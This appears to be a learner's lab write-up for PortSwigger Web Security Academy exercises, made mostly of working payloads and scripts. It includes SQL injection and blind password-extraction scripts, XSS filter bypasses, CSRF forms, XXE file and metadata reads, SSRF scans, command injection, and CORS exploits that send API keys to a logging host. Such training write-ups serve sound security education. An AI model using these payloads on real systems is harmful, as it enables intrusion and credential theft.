https://portswigger.net/web-security
- Initial request:
GET /filter?category=Food+%26+Drink
- Guess:
SELECT name, price FROM products WHERE category='[input]'
- SQL query attempts:
/filter?category='+ORDER+BY+3--
/filter?category='+UNION+SELECT+id,name,price+FROM+products--
- Just had to return an additional row containing null values.
/filter?category=Corporate+gifts'+UNION+SELECT+price,null,null+FROM+products--
/filter?category=Corporate+gifts'+UNION+SELECT+1337,table\_name,null+FROM+information\_schema.tables--
/filter?category='+UNION+SELECT+null,column\_name,null+FROM+information\_schema.columns+WHERE+table\_name='products'--
/filter?category='+UNION+SELECT+null,'0tb9ew',null+FROM+products--
:/
/filter?category=Gifts'+ORDER+BY+2--
/filter?category=Gifts'+union+select+username,password+from+users--
/filter?category=Gifts'+union+select+1,username||':'||password+from+users--
/filter?category='+union+select+null,banner+FROM+v$version--
/filter?category=Gifts'+union+select+@@version,null+--+
/filter?category='+union+select+version(),null--
/filter?category='+union+select+table\_name,null+from+information\_schema.tables--
/filter?category='+union+SELECT+null,column\_name+FROM+information\_schema.columns+WHERE+table\_name='users\_tgviyo'--
/filter?category='+union+SELECT+username\_bzrpfl,password\_mignev+from+users\_tgviyo--
/filter?category='+union+select+null,table\_name+from+all\_tables--
/filter?category='+union+select+null,column\_name+from+all\_tab\_columns+where+table\_name='USERS\_QCHNKE'
/filter?category='+union+select+USERNAME\_NREBWP,PASSWORD\_TKLBZQ+from+USERS\_QCHNKE--
Wrote a script to compare substring and check reponse text.
import string
import requests
uid = 'ac751fda1f68ed5880244a8b00b300bb'
url = 'https://' + uid + '.web-security-academy.net/filter?category='
# POSTGRESQL
# SUBSTRING(str, pos, len)
# cookies = {'TrackingId':"QXEw7ba7drmk8bb9' UNION SELECT version()--;"}
k = ''
for j in range(1,50):
for i in string.printable:
payload = "' UNION SELECT password FROM users WHERE username='administrator' AND SUBSTRING(password,1,"+str(j)+")='"+(k+i)+"'--"
cookies = {'TrackingId':'xyz' + payload}
r = requests.get(url, cookies=cookies)
if 'Welcome back!' in r.text:
k += i
print(k)
break
# l8we30kf7sp3t16i04co
Similar to conditional responses.
import string
import requests
uid = 'ac871f601e7effe9807ad5e0004e008a'
url = 'https://' + uid + '.web-security-academy.net/filter?category=asdf'
# oracle db
# no error if no rows returned
# first find length of password
# pwd: uney5hpoi974385dhpdp
pwd = ''
for j in range(1,50):
for i in string.printable:
cookies = {'TrackingId':"xyz' union select case when (username='administrator' and substr(password,1,"+str(j)+") = '"+(pwd+i)+"') then to_char(1/0) else null end from users--"}
response = requests.get(url,cookies=cookies)
if 'Error' in response.text:
pwd += i
print(pwd)
break;
Doesn't work:
Cookie: TrackingId=' or pg_sleep(10)--;
Cookie: TrackingId=' union select pg_sleep(10)--;
Intended solution:
Cookie: TrackingId=' || pg_sleep(10)--;
import time
import string
import requests
uid = 'ac701f261e608c7180d738b8001800f5'
url = 'https://' + uid + '.web-security-academy.net/filter?category=asdf'
pwn = '' # 09tcmzjn1trwj0m2y7gs
for j in range(1,100):
for i in string.printable:
cookies = {"TrackingId":"x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1," + str(j) + ")='" + (pwn+i) + "')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--"}
start = int(time.time())
resp = requests.get(url, cookies=cookies)
end = int(time.time())
if end - start >= 10:
pwn += i
print(pwn)
break
Requires Burp Suite Professional.
Requires Burp Suite Professional.
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
/filter?category=' or 1=1--
Entered this in the username field administrator'--
Search bar <img src=x onerror=alert(1)>
<h1>0 search results for 'asdf'</h1>
<script>alert(document.cookie)</script>
tags not allowed.alert(document.cookie)
is not blocked.<>
tags not allowed.- No URL encoding.
Couldn't figure it out after a long time, so looked at the solution.
- Use Burp to intercept search request.
- Send request to Intruder.
- Copy payloads from cheat sheet.
- Saw that
<body>
returned 200. - Copy events from cheat sheet.
<body resize=1>
returned 200.- But, we need to resize the body to trigger the payload.
- Therefore, change width
onload
.
<iframe src="https://acd01f971f79e697801234c9007200e0.web-security-academy.net/?search=%3Cbody+onresize%3Dalert%28document.cookie%29%3E" onload=this.style.width='100px'>
Intended solution:
<script>
location = 'https://ac511fab1f3d1c45803b260200ad008e.web-security-academy.net/?search=<xss id=x onfocus=alert(document.cookie) tabindex=1>#x';
</script>
I first checked all the tags that are allowed using this script.
a
animate
discard
image
svg
title
Then after modifying a payload from here I got a working payload:
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>
Intended solution (which didn't work for me for some reason): <svg><a><animate+attributeName=href+values=javascript:alert(1)+/><text+x=20+y=20>Click me</text></a>
First I checked all the tags allowed using this script.
discard
image
svg
title
Then I check all the events allowed using the same script.
onbegin
The only payload using the above event handler was: <svg><animate onbegin=alert(1) attributeName=x dur=1s>
but it has animate
which is disallowed.
I then try to draw a basic circle using <svg>
which works:
<svg width="100" height="100">
<circle cx="50" cy="50" r="40" stroke="green" stroke-width="4" fill="yellow" />
</svg>
But tags like <script>
are diassallowed. So I pulled all tags that are usually used in <svg>
and ran the same script to see which ones were allowed.
circle
discard
ellipse
image
line
rect
svg
text
title
- Then I looked into this presentation.
- Also, this doesn't show "Tag not allowed":
<svg><.*></svg>
" autofocus onfocus="alert(1)
Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
/?search=\'%0aalert(1);//
In website textbox put: javascript:alert(1)
<link rel="canonical" accesskey="X" onclick="alert(1)" /> (Press ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
var searchTerms = 'asdf';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
encodeURIComponent() escapes all characters except: `A-Z a-z 0-9 - _ . ! ~ * ' ( )`
'-alert(0)-' => var searchTerms = '\'-alert(0)-\''; => <img src="?searchTerms='-alert(1)-'">
"-alert(1)-" => var searchTerms = '"-alert(1)-"'; => <img src="?searchTerms=%22-alert(1)-%22">
%00" => var searchTerms = '�"'; => <img src="?searchTerms=%EF%BF%BD%22">
https://www.autosectools.com/Cross-site-Scripting-Encoding-Bypass
https://security.stackexchange.com/questions/155864/bypass-filtering-of-single-quote-for-xss-in-input-field
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/encodeURIComponent
'; alert(1);//
Comment <img src=x onerror=alert(1)>
The sink and source are in embedded javascript within the search page.
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
trackSearch(query);
}
Using this payload x"><script>alert(1)</script><img src="x
the document.write will look like:
<img src="/resources/images/tracker.gif?searchTerms=x"><script>alert(1)</script><img src="x">
Intended solution "><svg onload=alert(1)>
function doSearchQuery(query) {
document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
doSearchQuery(query);
}
My solution: /?search=<svg%20onload=alert(1)>
Searched for $('
and found:
$(function() {
$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});
My solution: /feedback?returnPath=javascript:alert(1)
<form id="login-form" action="https://ac7c1f141f49363a802c49eb00fa00e2.web-security-academy.net/email/change-email" method="POST">
<input required type="email" name="email" value="[email protected]">
</form>
<script>
document.getElementById('login-form').submit();
</script>
Change POST
to GET
and shift parameters to url.
<script>
location = 'https://ac4c1f501e3bfd64806c06d0000f0051.web-security-academy.net/email/change-email?email=asdf%40gmail.com&csrf=vHc3lGN9FC8ykr2S0jFKrjFZePqCMXx7';
</script>
<form action="https://ac0d1f821fe3342a801e0d2900600037.web-security-academy.net/email/change-email" method="POST" id="myForm">
<input name="email" value="blah">
</form>
<script>
document.getElementById("myForm").submit();
</script>
Go to the change-email page of any user and copy the anti-CSRF token.
<form action="https://ac191f8e1e8ec426807e10500120007f.web-security-academy.net/email/change-email" method="POST" id="myForm">
<input name="email" value="blah">
<input name="csrf" value="m2NgsCKWkrWIr7BhsoHIL2aO84QW79FK">
</form>
<script>
document.getElementById("myForm").submit();
</script>
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId></storeId>
</stockCheck>
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
<productId>&xxe;</productId>
<storeId></storeId>
</stockCheck>
- First change the request parameter to:
stockApi=http://localhost/admin
- Then
stockApi=http://localhost/admin/delete?username=carlos
First run this script to get the IP of the backend system.
import requests
uid = 'ac701fa31f5c386580184a1500cc00a6'
url = 'https://' + uid + '.web-security-academy.net/product/stock'
for i in range(2,256):
data = {'stockApi':'http://192.168.0.'+str(i)+':8080/admin'}
response = requests.post(url,data=data)
print(i)
if 'Could not connect to external stock check service' not in response.text: break;
Then change the request parameter as follows: stockApi=http://192.168.0.203:8080/admin
Finally to delete a user: stockApi=http://192.168.0.203:8080/admin/delete?username=carlos
- To bypass blacklist:
stockApi=http://127.1/adMin
- To delete:
stockApi=http://127.1/adMin/delete?username=carlos
productId=1&storeId=|whomai
csrf=ACtoLu65ZQblZkPxgsjN3bCdO4SNlF9T&name=a&email=%26ping+-c+10+127.0.0.1%26&subject=a&message=a
csrf=ZKzD18id7LGpEjMmT0E1CkZS0NNibAZ7&name=a&email=%26+whoami+>+/var/www/images/asdf+%26&subject=a&message=a
https://aca51f4f1e9c8ff3808792b8004000fd.web-security-academy.net/image?filename=asdf
Requires Burp Suite Professional.
Requires Burp Suite Professional.
Unprotected admin functionality: robots.txt
Unprotected admin functionality with unpredictable URL: view source => js to check admin => /admin-uhsegl
User role controlled by request paramter: login as wiener/peter => go to /admin
In the POST request:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [ <!ENTITY % ext SYSTEM "https://ac6b1f171eb283ab806aab0c014d0068.web-security-academy.net/exploit"> %ext; ]>
<stockCheck>
<productId></productId>
<storeId></storeId>
</stockCheck>
On the exploit server:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
POST / HTTP/1.1
Cookie: session=FQxqrQ8PJHEBARHT7se4bxv6sqHGrQJD
X-Original-URL: /admin
Login as wiener/peter:
PUT /admin-roles HTTP/1.1
Cookie: session=UdlpEENsbTjmMhi15gFrGZLzPJlprpTK
username=wiener&action=upgrade
Login as wiener/peter:
/my-account?id=carlos
Copy and submit the API key
Login as wiener/peter:
Go to /post?postId=3, to find carlos' userId.
User that userId to get API key from My Account page.
Login as wiener/peter
Go to /my-account?id=carlos => it redirects back to home page
Go to /my-account?id=carlos and intercept the response in Burp
Before redirection, the API key for carlos is leaked.
Login as wiener/peter
Go to /my-account?user=administrator
Change input type of password to text
Login as administrator/xj6efi
Delete carlos
Login as wiener/peter
Go to /chat and Download Transcript
Intercept request in Burp to see that transcript is being downloaded from /download-transcript/2.txt
Go to /download-transcript/1.txt
Get carlos' password: qahe69
Login to carlos' account
Login as adminstrator/admin
Observe request for upgrading a user:
POST /admin-roles HTTP/1.1
action=upgrade&confirmed=true&username=wiener
Repeat the request while logged in as wiener
Login as administrator/admin
Go to /admin
Upgrade a user and intercept the request in Burp
GET /admin-roles?username=wiener&action=upgrade HTTP/1.1
Referer: https://ace91fd81fbaa096804b8c630061001c.web-security-academy.net/admin
Login as wiener/peter and send the request.
- Login as wiener/peter
- Go to /my-account
- /my-account?id=admin is blocked
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cookie: session=RP4LxEeQbjJvfMad0sA9P4ECWmB3r99S
Access-Control-Allow-Origin: https://acf41fe01f16167180030e2a00fd001d.web-security-academy.net
Access-Control-Allow-Credentials: true
Go to exploit server:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acf41fe01f16167180030e2a00fd001d.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();function reqListener() {
location='//ac401f581f15167f809a0e1701320092.web-security-academy.net/log?key='+this.responseText;
};
Submit exploit to victim and go to /log:
192.168.1.12 2020-02-05 19:14:00 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22hvhwIMzFHlIEZpEPGhdJ9EAzV06nOMmw%22} HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 PSAcademy/661765"
Send this to the victim.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acbd1fbe1fd78cf3807331b900be00fc.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://ac6c1fc91feb8cf080ee316001f5002a.web-security-academy.net/log?key='+this.responseText;
};
</script>"></iframe>
Check the log
192.168.1.12 2020-02-06 19:27:31 +0000 "GET /log?key={%20%20%22username%22:%20%22administrator%22,%20%20%22email%22:%20%22%22,%20%20%22apikey%22:%20%22oyEfZl4UJC3kIc6IvycliwYYSdIwliXj%22} HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36 PSAcademy/939914"
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac141fb91e0fb1fb80430683009d0046.web-security-academy.net/my-account?id=administrator',true);
req.withCredentials = true;
req.send();
function reqListener() {
location = "https://ac061f511ee2b1b680d60692012f00fd.web-security-academy.net/log?key=this.responseText";
}
</script>